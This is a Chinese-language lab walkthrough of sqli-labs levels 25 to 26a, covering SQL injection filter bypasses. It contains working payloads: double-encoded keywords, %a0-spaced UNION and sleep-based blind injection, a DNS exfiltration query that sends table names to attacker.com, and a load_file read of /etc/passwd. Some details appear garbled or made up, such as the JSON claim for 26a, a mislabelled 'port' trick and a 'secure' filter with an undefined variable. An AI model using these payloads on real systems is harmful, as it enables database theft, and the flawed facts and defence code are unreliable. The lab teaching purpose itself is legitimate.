1. 项目背景与核心价值
SQL注入实验室(sqli-labs)是安全领域最经典的Web漏洞实战平台之一,专门设计用于系统化学习SQL注入攻防技术。这个开源项目通过模拟真实Web应用中的各种漏洞场景,让学习者能够在一个合法、安全的环境下掌握从基础到高级的注入技巧。
25-26a关属于sqli-labs的中高级挑战关卡,主要考察以下核心能力:
- 特殊字符过滤的绕过技巧
- 多重编码的灵活运用
- 非常规注入点的识别利用
- 报错注入与布尔盲注的混合使用
重要提示:所有实验操作务必在本地授权环境进行,未经授权的渗透测试属于违法行为。本文仅用于技术研究与教学目的。
2. 环境准备与关卡特性分析
2.1 实验环境配置
推荐使用以下组合搭建实验环境:
- XAMPP 7.4.29(包含PHP 7.4.29 + MySQL 8.0.27)
- sqli-labs最新版(GitHub源码)
- Burp Suite Community用于请求拦截分析
- 浏览器开发者工具(Chrome DevTools)
关键配置检查点:
- php.ini中确保
magic_quotes_gpc = Off - MySQL需开启严格模式(STRICT_TRANS_TABLES)
- 修改sqli-labs的数据库连接配置(/sql-connections/db-creds.inc)
2.2 25-26a关核心防护机制
第25关实现了以下过滤规则:
php复制function blacklist($id)
{
$id = preg_replace('/or/i',"", $id); // 过滤OR(不区分大小写)
$id = preg_replace('/and/i',"", $id); // 过滤AND
$id = preg_replace('/[\/\*]/',"", $id); // 过滤/* */
$id = preg_replace('/[--]/',"", $id); // 过滤--
$id = preg_replace('/[#]/',"", $id); // 过滤#
return $id;
}
26a关在25关基础上增加了:
- 空格字符过滤(包括制表符、换行符)
- 括号字符过滤
- 更严格的注释符号检测
3. 详细突破方案与源码解析
3.1 第25关突破方案
3.1.1 基础绕过原理
利用双重URL编码绕过关键字过滤:
code复制原始:1' AND 1=1 --+
第一次编码:1' %41%4e%44 1=1 --+
第二次编码:1' %25%34%31%25%34%65%25%34%34 1=1 --+
实际测试payload:
http复制GET /Less-25/?id=1%27%20%25%32%35%25%33%34%25%33%31%25%32%35%25%33%34%25%36%35%25%32%35%25%33%34%25%36%34%201%3D1%20--%2B HTTP/1.1
对应源码处理流程:
php复制$id = $_GET['id'];
$id = blacklist($id); // 首次过滤
$id = urldecode($id); // 第一次解码
$id = blacklist($id); // 二次过滤(此时原始AND已被还原)
3.1.2 信息泄露利用
通过报错注入获取数据库信息:
sql复制1' || extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
编码变形:
code复制1%27%20%7c%7c%20%65%78%74%72%61%63%74%76%61%6c%75%65%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%29%2c%30%78%37%65%29%29%20--%2b
3.2 第26关突破方案
3.2.1 空格替代技术
可用替代方案:
- 注释符替代:
/**/ - 括号包裹:
(select(version())) - 特殊字符:
%a0(不可见空格)
实际payload示例:
sql复制1'%a0union%a0select%a01,2,3%a0--%a0+
3.2.2 盲注技术实现
时间盲注完整流程:
sql复制1'%a0or%a0if(ascii(substr(database(),1,1))>97,sleep(3),0)%a0--%a0+
对应HTTP请求:
http复制GET /Less-26/?id=1%27%a0or%a0if%28ascii%28substr%28database%28%29%2c1%2c1%29%29%3e97%2csleep%283%29%2c0%29%a0--%a0%2b HTTP/1.1
3.3 第26a关特殊挑战
3.3.1 JSON格式注入
26a关采用JSON响应格式,需要调整注入策略:
sql复制1')%a0union%a0select%a01,concat_ws(0x7e,version(),user(),database()),3%a0--%a0+
3.3.2 无回显场景处理
当页面无直接回显时,采用DNS外带技术:
sql复制1'%a0union%a0select%a01,load_file(concat(0x5c5c5c5c,(select%a0table_name%a0from%a0information_schema.tables%a0where%a0table_schema%3ddatabase()%a0limit%a00,1),.attacker.com\test)),3%a0--%a0+
4. 防御方案与源码改进建议
4.1 安全编码实践
改进后的过滤函数示例:
php复制function secure_filter($input) {
$patterns = [
'/(\s+UNION\s+)/i',
'/(\s+SELECT\s+)/i',
'/(\s+OR\s+)/i',
'/(\s+AND\s+)/i',
'/[\/\*\'\"#;--]/',
'/\b(?:sleep|benchmark|load_file)\b/i'
];
$input = urldecode($input);
$input = htmlspecialchars($input, ENT_QUOTES);
$input = preg_replace($patterns, '[FILTERED]', $input);
return mysqli_real_escape_string($conn, $input);
}
4.2 防御层架构建议
-
输入验证层:
- 白名单验证(数据类型、长度、格式)
- 参数化查询强制实施
-
输出处理层:
- 统一编码输出(Content-Type设置)
- 敏感信息脱敏
-
监控层:
- SQL异常日志分析
- 请求频率监控
5. 实战经验与排错指南
5.1 常见错误排查表
| 现象 | 可能原因 | 解决方案 |
|---|---|---|
| 500错误 | 特殊字符未正确处理 | 检查多重编码顺序 |
| 无回显 | 过滤规则变更 | 尝试DNS外带技术 |
| 结果截断 | 输出长度限制 | 使用substring分段获取 |
| 时间延迟不稳定 | 网络抖动干扰 | 增加基准时间校准 |
5.2 高阶技巧分享
-
非标准端口利用:
sql复制/*!12345union*/select 1,2,3 -
多语句执行绕过:
sql复制1';%a0select%a0@s:=0x3a;prepare%a0x%a0from%a0concat('sel','ect 1,2,',@s);execute%a0x; -
二进制数据转换:
sql复制select hex(load_file('/etc/passwd')) as data
6. 学习路径建议
-
基础夯实阶段(1-15关):
- 掌握各类注入基本语法
- 理解数据库错误信息分析
-
中级提升阶段(16-25关):
- 盲注技术专项训练
- 编码转换技巧实践
-
高级突破阶段(26-65关):
- WAF绕过实战
- 非常规注入点利用
-
综合实战阶段:
- DVWA漏洞演练
- OWASP Juice Shop挑战